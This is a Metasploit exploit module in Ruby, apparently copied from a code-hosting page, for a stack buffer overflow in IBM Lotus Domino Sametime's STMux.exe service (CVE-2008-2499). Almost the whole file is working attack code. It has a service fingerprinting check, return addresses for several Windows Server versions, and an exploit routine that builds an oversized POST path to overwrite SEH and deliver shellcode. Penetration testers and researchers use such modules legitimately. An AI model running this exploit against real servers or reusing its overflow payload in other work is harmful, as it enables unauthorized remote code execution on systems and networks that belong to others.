129 lines
3.6 KiB
Ruby
129 lines
3.6 KiB
Ruby
##
|
|
# $Id$
|
|
##
|
|
|
|
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# Framework web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/framework/
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = AverageRanking
|
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'IBM Lotus Domino Sametime STMux.exe Stack Buffer Overflow',
|
|
'Description' => %q{
|
|
This module exploits a stack buffer overflow in Lotus Domino\'s Sametime
|
|
Server. By sending an overly long POST request to the Multiplexer
|
|
STMux.exe service we are able to overwrite SEH. Based on the exploit
|
|
by Manuel Santamarina Suarez.
|
|
},
|
|
'Author' => [ 'patrick', 'riaf <riaf@mysec.org>' ],
|
|
'Arch' => [ ARCH_X86 ],
|
|
'License' => MSF_LICENSE,
|
|
'Version' => '$Revision$',
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2008-2499' ],
|
|
[ 'OSVDB', '45610' ],
|
|
[ 'BID', '29328' ],
|
|
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-08-028/' ],
|
|
],
|
|
'Privileged' => true,
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'seh',
|
|
},
|
|
'Payload' =>
|
|
{
|
|
'Space' => 1024,
|
|
'BadChars' => "\x00\x0a\x0d",
|
|
'StackAdjustment' => -3500,
|
|
},
|
|
'Platform' => ['win'],
|
|
'Targets' =>
|
|
[
|
|
# Patrick - Tested OK against Windows 2003 SP1 20081114
|
|
[ 'Lotus Sametime 7.5 on Windows Server 2000 SP4', { 'Ret' => 0x7c3410c2, 'Offset' => [ 3, 268 ] }], # pop ecx, pop exc, ret msvcr71.dll
|
|
[ 'Lotus Sametime 7.5 on Windows Server 2003 SP1', { 'Ret' => 0x7c3410c2, 'Offset' => [ 3, 269 ] }], # pop ecx, pop exc, ret msvcr71.dll
|
|
[ 'Lotus Sametime 7.5 on Windows Server 2003 SP2', { 'Ret' => 0x7c3410c2, 'Offset' => [ 4, 269 ] }],
|
|
[ 'Lotus Sametime 7.5.1 Windows Server 2003 SP2', { 'Ret' => 0x7c3410c2, 'Offset' => [ 5, 269 ] }],
|
|
[ 'Lotus Sametime 8.0.0 Windows Server 2003 SP2', { 'Ret' => 0x7c3410c2, 'Offset' => [ 4, 269 ] }],
|
|
],
|
|
'DisclosureDate' => 'May 21 2008',
|
|
'DefaultTarget' => 1))
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(1533),
|
|
], self.class)
|
|
end
|
|
|
|
def check
|
|
connect
|
|
|
|
req = "HEAD / HTTP/1.0\r\n\r\n"
|
|
req << "User-Agent: Sametime Community Agent\r\n"
|
|
req << "Host: #{datastore['RHOST']}:#{datastore['RPORT']}\r\n"
|
|
sock.put(req)
|
|
res = sock.get_once(-1,3)
|
|
|
|
disconnect
|
|
|
|
if (res =~/Lotus-Domino/)
|
|
connect
|
|
|
|
req = "GET /CommunityCBR HTTP/1.0\r\n\r\n"
|
|
req << "User-Agent: Sametime Community Agent\r\n"
|
|
req << "Host: #{datastore['RHOST']}:#{datastore['RPORT']}\r\n"
|
|
sock.put(req)
|
|
res = sock.get_once(-1,3)
|
|
|
|
disconnect
|
|
|
|
if (res =~/200 OK/)
|
|
return Exploit::CheckCode::Detected
|
|
end
|
|
end
|
|
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
|
|
def exploit
|
|
connect
|
|
|
|
pad1 = rand_text_alpha_lower(44)
|
|
pad2 = rand_text_alpha_lower(29)
|
|
|
|
# Patrick - We should use Metasm here.
|
|
popebx = Metasm::Shellcode.assemble(Metasm::Ia32.new, "pop ebx").encode_string * target['Offset'][0]
|
|
popad = Metasm::Shellcode.assemble(Metasm::Ia32.new, "popad").encode_string * target['Offset'][1]
|
|
esp = "\xff\x24\x24" # dword ptr ss:[esp]
|
|
jmp = "\x74\x23" + "\x75\x21" # je short, jnz short
|
|
seh = [target['Ret']].pack('V')
|
|
|
|
path = pad1 + jmp + seh + pad2 + popebx + popad + esp
|
|
|
|
req = "POST /CommunityCBR/CC.39.#{path}/\r\n"
|
|
req << "User-Agent: Sametime Community Agent\r\n"
|
|
req << "Host: #{datastore['RHOST']}:#{datastore['RPORT']}\r\n"
|
|
req << "Content-Length: #{payload.encoded.length}\r\n"
|
|
req << "Connection: Close\r\n"
|
|
req << "Cache-Control: no-cache\r\n\r\n"
|
|
req << payload.encoded
|
|
|
|
sock.put(req)
|
|
|
|
handler
|
|
disconnect
|
|
end
|
|
end
|